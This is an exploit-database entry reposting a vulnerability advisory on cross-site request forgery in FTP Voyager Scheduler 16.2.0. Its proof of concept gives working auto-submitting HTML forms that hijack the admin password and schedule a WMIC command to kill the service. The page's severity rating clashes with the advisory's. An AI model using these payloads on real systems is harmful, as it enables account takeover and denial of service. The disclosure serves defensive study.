Exploitalert - Database of Exploits

FTP Voyager Scheduler 16.2.0 CSRF / Denial Of Service

CVE	Category	Price	Severity
	CWE-287: Improper Authentication	$500	Medium

Author	Risk	Exploitation Type	Date
Unknown	Medium	Remote	2017-03-11

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.95023	0.99741

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017030104

FTP Voyager Scheduler 16.2.0 CSRF / Denial Of Service[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt [+] ISR: ApparitionSec Vendor: ============== solarwinds.com www.serv-u.com Product: ==================== FTP Voyager Scheduler v16.2.0 Vulnerability Type: ============================= CSRF Remote Command Execution CVE Reference: ============== N/A Security Issue: ================ Multiple cross site request forgeries exist in the Web Interface side of FTP Voyager Scheduler running on port 52986. Allowing remote attackers to make HTTP requests on behalf of an authenticated user if that user visits a malicious webpage or clicks an attacker supplied link. FTP Voyager has a scheduler feature that lets users create tasks/commands to execute on some type of other action like when Directorys are created, files uploaded/downloader, Scheduler starts or stops and so forth. Remote attackers who successfully pull off CSRF exploitation can do things like change the Admin password or cause a persistent Denial of Service by setting the task to terminate "FTP Voyager Scheduler" itself upon startup among other nefarious things. Exploit/POC: ============= Default login no password, then set a password in FTP Voyager Scheduler Web interface. Upon CSRF the user will get a HTTP Response will be like below, we can prevent user from seeing this message targeting hidden iframe in webpage. <response><result>0</result><ResultText>Operation was successful.</ResultText><ObjectID>141175</ObjectID></response> 1) Change Admin passwd <iframe name="hideme" style="display:none" ></iframe> <form target="hideme" action="http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666" method="post"> <input type="hidden" name="AdminPassword" value="PWN123"> <input type="hidden" name="ConfirmAdminPassword" value="PWN123"> <input type="hidden" name="RemoteAdmin" value="1"> <input type="hidden" name="RemoteAdminPort" value="52986"> <input type="hidden" name="RemoteAdminSSL" value="0"> <script>document.forms[0].submit()</script> </form> 2) Persistent Denial Of Service uses call to WMIC <form action="http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666" method="post"> <input type="hidden" name="EventName" value="PWN"> <input type="hidden" name="Description" value="Run Command!"> <input type="hidden" name="Enabled" value="1"> <input type="hidden" name="EventID" value="1">  <input type="hidden" name="Action" value="2"> <input type="hidden" name="multiselect_Action" value="2"> <input type="hidden" name="EmailToAddress" value="[email protected]"> <input type="hidden" name="EmailToAddressBCC" value=""> <input type="hidden" name="ExeFilePath" value="C:\Windows\System32\wbem\WMIC.exe"> <input type="hidden" name="ExecWaitSecs" value="5"> <input type="hidden" name="Data1" value="process where name='FTP Voyager Scheduler.exe' call terminate"> <input type="hidden" name="Data2" value="&"> <script>document.forms[0].submit()</script> </form> Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ======================================= Vendor Notification: November 30, 2016 Result: No Reply Second Notification Attempt: March 5, 2017 Result: March 9, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx

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